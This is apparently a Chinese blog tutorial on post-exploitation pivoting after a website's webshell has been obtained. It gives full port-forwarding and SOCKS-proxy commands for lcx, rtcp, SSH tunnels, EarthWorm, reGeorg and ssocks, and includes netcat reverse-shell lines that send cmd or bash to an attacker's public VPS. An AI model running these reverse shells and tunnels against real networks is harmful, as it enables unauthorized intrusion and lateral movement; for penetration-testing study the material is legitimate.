1.用途

当我们拿到一个网站的webshell后需要进行下一步的渗透,这个时候很可能会面对两个问题:

  • 该网站的敏感端口(比如3389)只对内网开放,不能直接从外网访问到
  • 想要去进一步内网渗透,但内网的其他主机不能直接从外网访问到,需要被控制的主机作为一个跳板
    这个时候就需要利用到端口转发和代理的技术

2.两种代理方式

  • 正向代理:client主动向proxy发送请求,并指明server,proxy把client的请求发给server并把server的响应发回给client
  • 反向代理:proxy主动连接client,将client的请求转化为对server的请求,再把结果发给client。如果client无法直接连接proxy,但proxy可以连接client,就可以使用反向代理

3.实际中的使用

3.1 lcx转发

lcx是很老的一款工具了,在windows下是lcx.exe,linux下是portmap,主要还是用在windows下用来转发3389端口
各种杀软都会杀它,所以现在实际使用比较局限

它可以解决的情况是:

  • 存在防火墙无法直接访问内网主机,但内网主机可以访问外网

以访问内网主机的3389端口为例
在公网vps上执行

1
2
lcx.exe -listen 2333 5555
监听2333端口,并把对5555端口的请求转发到2333端口上

在内网机器上执行

1
2
lcx.exe –slave 公网ip 2333 本机ip 3389
主动连接公网ip的2333端口,并把返回的请求发送给本机的3389端口,再把响应发回给公网ip

这时访问公网vps的5555端口就会连接到内网机器的3389端口上

3.2 rtcp.py转发

https://github.com/knownsec/rtcp
类似lcx,一般用在linux下反弹22端口
在公网vps上执行

1
2
./rtcp.py l:10001 l:10002
监听10001端口和10002端口

在内网机器上执行

1
2
./rtcp.py c:localhost:22 c:公网ip:10001
主动连接公网ip的10001端口,并把返回的数据发给本机的22端口(ssh)

然后就可以用ssh 公网ip -p 10002 来访问内网机器的22端口了

3.3 nc反弹shell

nc一般用来反弹shell,也是用来解决无法直接连接到内网机器,但是内网机器可以连接到外网的情况
在公网vps上执行

1
2
nc -lp 5555
监听本机5555端口

在内网机器上执行

1
2
3
windows: nc -t -e cmd 公网ip 5555
linux: nc -t -e /bin/bash 公网ip 5555
主动连接公网vps的5555端口

3.4 ssh隧道代理

linux上很实用的东西,因为不需要上传额外的文件
应用场景

3.4.1 几个参数

  • -L 正向隧道
  • -R 反向隧道
  • -D 动态转发
  • -q 安静模式
  • -T 不占用 shell
  • -f 后台运行,并推荐加上 -n 参数
  • -N 不执行远程命令,用来端口转发

3.4.2 正向代理,动态端口转发

使用ssh进行端口转发的前提是要知道服务器B的ssh口令
在A上执行

1
2
ssh -qTfnN -D 2333 root@B的ip
然后输入B的ssh账户密码

将A的2333端口与B的22端口(ssh的端口)建立连接
之后就可以用A的2333端口作为socks代理直接访问到C

3.4.3正向代理,单一端口转发

在A上执行

1
2
ssh -qTfnN -L 2333:C的ip:3389 root@B的ip
然后输入B的ssh账户密码

这时访问A的2333端口就相当于访问了C的3389端口

3.4.4反向代理,单一端口转发

先要在A上生成ssh所需要的host key

1
2
ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key

然后在B上运行

1
2
ssh -qTfnN -R 2333:C的ip:80 root@A的ip
然后输入A的ssh账户密码

这个时候B是一个反向代理,它会主动去连接A的22端口,将对A的2333端口的请求转发给C的80端口,再通过ssh将结果返回
这时可以通过访问A的2333端口访问C的80端口

如果防火墙禁止了A去连接B,但B可以主动连接外网,就可以采用这种反向代理的方式

3.4.5 双层代理

假如这时候目标是内网中的另一台主机D,只有C能访问到D,这个时候依然可以利用ssh进行端口转发
在B上执行

1
2
3
4
ssh -qTfnN -R 2333:127.0.0.1:4444 root@A的ip
反向代理,对A的2333端口的请求会被转发到B的4444端口上
ssh -2 -D 4444 root@C的ip
正向代理,将对B 4444端口的请求发到C上

然后可以用A的2333端口作为代理去访问D

3.5 EarthWorm

旧版: http://rootkiter.com/EarthWorm/
新版: http://rootkiter.com/Termite/
很强大的一款工具,既可以用来端口转发也可以用来socks代理
还是刚刚ssh的场景

3.5.1 正向代理

假如B与外网连通的话,上传ew后在B上执行

1
ew –s ssocksd –l 2333

然后就可以把B的2333端口作为代理,去访问C

3.5.2 反向代理

假如无法直接访问B,但B可以访问外网的话,就可以使用反向代理
在A上执行

1
2
ew -s rcsocks -l 1008 -e 2333
监听1080端口,并把向1080端口的请求转发给2333端口

在B上执行

1
2
ew -s rssocks -d A的ip -e 2333
主动去连接A的2333端口

这时就可以用A的2333端口作为socks代理访问到C了

3.6 reGeorg

https://github.com/sensepost/reGeorg
利用webshell来进行socks代理,要求服务器支持aspx、php、jsp、js等web语言

依旧是这个场景

先要在B上上传对应的tunnel.xxx
以php为例,上传tunnel.php和tunnel.nosocket.php
在A上执行

1
python reGeorgSocksProxy.py -u reGeorg脚本地址 -p 2333

然后就可以通过A的2333端口作为代理访问到C

3.7 ssocks

也是类似的socks代理工具
安装

1
2
3
4
5
wget https://phoenixnap.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz 
tar -zxf ssocks-0.0.14.tar.gz
cd ssocks-0.0.14
./configure && make
cd src

在A上执行

1
2
./rcsocks -l 1080 -p 2333 -v
监听本机的1080和2333端口,并把1080端口的请求发到2333端口上

在B上执行

1
2
./rssocks -s -b A的ip:2333 -v
主动连接A的2333端口

之后就可以用A的1080端口作为socks代理去访问到C了

4.一些工具的下载

https://github.com/Brucetg/Pentest-tools